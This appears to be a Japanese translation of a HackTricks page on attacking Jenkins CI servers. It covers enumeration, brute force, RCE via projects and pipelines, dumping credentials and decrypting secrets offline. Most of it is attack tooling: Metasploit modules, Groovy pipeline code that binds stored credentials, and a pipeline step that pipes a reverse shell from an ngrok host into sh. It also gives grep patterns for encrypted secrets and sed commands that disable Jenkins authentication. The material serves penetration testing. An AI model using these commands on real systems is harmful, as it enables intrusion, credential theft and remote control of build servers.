Jenkins Security
Reading time: 21 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Jenkinsは、パイプラインを使用してほぼすべてのプログラミング言語とソースコードリポジトリの継続的インテグレーションまたは継続的デリバリー(CI/CD)環境を確立するための簡単な方法を提供するツールです。さらに、さまざまなルーチン開発タスクを自動化します。Jenkinsは個々のステップのためのスクリプトを作成する必要性を排除するわけではありませんが、手動で簡単に構築できるよりも、ビルド、テスト、デプロイメントツールの全シーケンスを統合するためのより迅速で堅牢な方法を提供します。
認証されていない列挙
認証なしで興味深いJenkinsページを検索するには(例:/people_や/asynchPeople_、これは現在のユーザーをリストします)、次のようにします:
msf> use auxiliary/scanner/http/jenkins_enum
認証なしでコマンドを実行できるか確認してください:
msf> use auxiliary/scanner/http/jenkins_command
資格情報がない場合、/asynchPeople/ パスや /securityRealm/user/admin/search/index?q= で ユーザー名 を確認できます。
/oops または /error パスから Jenkins のバージョンを取得できるかもしれません。
既知の脆弱性
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
ログイン
基本情報では、Jenkins 内にログインするすべての方法を確認できます:
登録
アカウントを作成してログインできる Jenkins インスタンスを見つけることができます。それだけです。
SSO ログイン
また、SSO 機能/プラグイン が存在する場合は、テストアカウント(例:テスト Github/Bitbucket アカウント)を使用してアプリケーションにログインを試みるべきです。 こちらのトリック。
ブルートフォース
Jenkins は パスワードポリシー と ユーザー名のブルートフォース緩和 が不足しています。弱いパスワードや ユーザー名をパスワードとして使用している可能性があるため、ユーザーをブルートフォースすることが重要です。逆のユーザー名をパスワードとして使用している場合もあります。
msf> use auxiliary/scanner/http/jenkins_login
パスワードスプレー
Use this python script or this powershell script.
IPホワイトリストバイパス
多くの組織は、SaaSベースのソース管理(SCM)システム(GitHubやGitLabなど)を内部の自己ホスト型CIソリューション(JenkinsやTeamCityなど)と組み合わせています。この設定により、CIシステムはSaaSソース管理ベンダーからのウェブフックイベントを受信し、主にパイプラインジョブをトリガーすることができます。
これを実現するために、組織はSCMプラットフォームのIP範囲をホワイトリストに登録し、ウェブフックを介して内部CIシステムにアクセスできるようにしています。しかし、誰でもGitHubやGitLabにアカウントを作成し、ウェブフックをトリガーするように設定できるため、内部CIシステムにリクエストを送信する可能性があります。
内部Jenkinsの悪用
これらのシナリオでは、Jenkinsにアクセスするための有効なアカウントを持っていると仮定します。
warning
Jenkinsに設定された認証メカニズムと侵害されたユーザーの権限によっては、以下の攻撃を実行できる場合とできない場合があります。
詳細については、基本情報を確認してください:
ユーザーのリスト表示
Jenkinsにアクセスした場合、http://127.0.0.1:8080/asynchPeople/で他の登録ユーザーをリスト表示できます。
プレーンテキストの秘密を見つけるためのビルドのダンプ
Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
SSH資格情報の盗難
もし侵害されたユーザーが新しいJenkinsノードを作成/変更するのに十分な権限を持っている場合、他のノードにアクセスするためのSSH資格情報がすでに保存されていると、彼はホストを設定して資格情報を記録することによってそれらの資格情報を盗むことができます。ホストキーを検証せずに:
通常、JenkinsのSSH資格情報はグローバルプロバイダー(/credentials/
)に見つかるので、他の秘密をダンプするのと同様にダンプすることもできます。詳細は秘密のダンプセクションを参照してください。
JenkinsにおけるRCE
Jenkinsサーバーでシェルを取得することは、攻撃者にすべての秘密や環境変数を漏洩させ、同じネットワークにある他のマシンを悪用したり、さらにはクラウド資格情報を収集する機会を与えます。
デフォルトでは、JenkinsはSYSTEMとして実行されます。したがって、これを侵害することで攻撃者はSYSTEM権限を得ることになります。
プロジェクトの作成/変更によるRCE
プロジェクトを作成/変更することは、Jenkinsサーバー上でRCEを取得する方法です:
Jenkins RCE Creating/Modifying Project
Groovyスクリプトの実行によるRCE
Groovyスクリプトを実行することでRCEを取得することも可能で、これは新しいプロジェクトを作成するよりもステルス性が高いかもしれません:
Jenkins RCE with Groovy Script
パイプラインの作成/変更によるRCE
パイプラインを作成/変更することによってもRCEを取得できます:
Jenkins RCE Creating/Modifying Pipeline
パイプラインの悪用
パイプラインを悪用するには、Jenkinsへのアクセスが必要です。
ビルドパイプライン
パイプラインはプロジェクトのビルドメカニズムとしても使用でき、その場合、パイプライン構文を含むリポジトリ内のファイルを設定できます。デフォルトでは/Jenkinsfile
が使用されます:
他の場所(例えば他のリポジトリ)にパイプライン構成ファイルを保存することも可能で、リポジトリのアクセスとパイプラインのアクセスを分離することを目的としています。
攻撃者がそのファイルに対して書き込みアクセスを持っている場合、彼はそれを変更し、Jenkinsにアクセスすることなくパイプラインをトリガーすることができるでしょう。
攻撃者はいくつかのブランチ保護を回避する必要があるかもしれません(プラットフォームやユーザー権限によっては回避できる場合もあります)。
カスタムパイプラインを実行するための最も一般的なトリガーは次のとおりです:
- メインブランチへのプルリクエスト(または他のブランチへのプルリクエスト)
- メインブランチへのプッシュ(または他のブランチへのプッシュ)
- メインブランチの更新を行い、何らかの方法で実行されるのを待つ
note
あなたが外部ユーザーである場合、他のユーザー/組織のリポジトリのメインブランチにPRを作成し、パイプラインをトリガーすることを期待すべきではありません...しかし、不適切に設定されている場合、あなたはこの方法で企業を完全に侵害することができるかもしれません。
パイプラインRCE
前のRCEセクションでは、パイプラインを変更することでRCEを取得する技術がすでに示されています。
環境変数の確認
平文の環境変数をパイプライン全体または特定のステージのために宣言することが可能です。これらの環境変数は機密情報を含むべきではありませんが、攻撃者は常にすべてのパイプライン構成/Jenkinsfileを確認することができます:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
秘密のダンプ
Jenkinsが秘密を通常どのように扱うかについての情報は、基本情報を確認してください:
資格情報はグローバルプロバイダー(/credentials/
)または特定のプロジェクト(/job/<project-name>/configure
)にスコープできます。したがって、すべての秘密を抽出するには、秘密を含むすべてのプロジェクトを少なくとも侵害する必要があり、カスタム/毒入りパイプラインを実行する必要があります。
もう一つの問題は、パイプラインのenv内の秘密を取得するには、秘密の名前とタイプを知っている必要があることです。たとえば、string
秘密として**usernamePassword
** 秘密をロードしようとすると、このエラーが発生します:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
ここでは、一般的なシークレットタイプをロードする方法を示します:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
このページの最後にすべての資格情報タイプを見つけることができます: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
warning
すべての秘密を一度にダンプする最良の方法は、Jenkinsマシンを侵害することです(例えば、組み込みノードでリバースシェルを実行する)そして、マスターキーと暗号化された秘密を漏洩させ、それらをオフラインで復号化します。
これを行う方法については、ノードとエージェントのセクションおよびポストエクスプロイテーションのセクションを参照してください。
トリガー
ドキュメントから: triggers
ディレクティブは、パイプラインが再トリガーされる自動化された方法を定義します。GitHubやBitBucketなどのソースと統合されたパイプラインの場合、triggers
は必要ないかもしれません。なぜなら、ウェブフックベースの統合がすでに存在する可能性が高いからです。現在利用可能なトリガーはcron
、pollSCM
、およびupstream
です。
Cronの例:
triggers { cron('H */4 * * 1-5') }
他の例はドキュメントで確認してください。
ノードとエージェント
Jenkinsインスタンスは、異なるマシンで異なるエージェントが実行されている可能性があります。攻撃者の視点から見ると、異なるマシンへのアクセスは、異なる潜在的なクラウド資格情報を盗むことや、他のマシンを悪用するための異なるネットワークアクセスを意味します。
詳細については、基本情報を確認してください:
/computer/
で構成されたノードを列挙できます。通常、Built-In Node
(Jenkinsを実行しているノード)と、潜在的に他のノードが見つかります:
Built-Inノードを妥協することは特に興味深いです。なぜなら、それには機密のJenkins情報が含まれているからです。
ビルトインJenkinsノードでパイプラインを実行したいことを示すために、パイプライン内で次の設定を指定できます:
pipeline {
agent {label 'built-in'}
完全な例
特定のエージェント内のパイプライン、cronトリガーを使用し、パイプラインおよびステージ環境変数を持ち、ステップで2つの変数を読み込み、リバースシェルを送信します:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
任意ファイル読み取りからRCEへ
Jenkins Arbitrary File Read to RCE via "Remember Me"
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
ポストエクスプロイト
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Secrets
/credentials/
にアクセスすることで、十分な権限があればシークレットをリストできます。これは credentials.xml
ファイル内のシークレットのみをリストしますが、ビルド構成ファイルにも追加の資格情報が含まれている可能性があります。
各プロジェクトの構成を表示できる場合、リポジトリにアクセスするために使用されている資格情報(シークレット)の名前やプロジェクトの他の資格情報も確認できます。
From Groovy
Jenkins Dumping Secrets from Groovy
From disk
これらのファイルはJenkinsシークレットを復号化するために必要です:
- secrets/master.key
- secrets/hudson.util.Secret
そのようなシークレットは通常以下に見つかります:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
これらを見つけるための正規表現は次のとおりです:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Jenkinsの秘密をオフラインで復号化する
秘密を復号化するために必要なパスワードをダンプした場合、これらの秘密を復号化するために このスクリプト を使用してください。
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
GroovyからJenkinsの秘密を復号化する
println(hudson.util.Secret.decrypt("{...}"))
新しい管理者ユーザーの作成
/var/lib/jenkins/config.xml
またはC:\Program Files (x86)\Jenkis\
にある Jenkins config.xml ファイルにアクセスします。<useSecurity>true</useSecurity>
という単語を検索し、**true
をfalse
**に変更します。sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
- Jenkins サーバーを再起動します:
service jenkins restart
- もう一度 Jenkins ポータルに移動すると、Jenkins はこの時に認証情報を要求しません。管理 Jenkins に移動して、管理者パスワードを再設定します。
- 設定を
<useSecurity>true</useSecurity>
に変更して、再度セキュリティを有効にし、Jenkins を再起動します。
参考文献
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。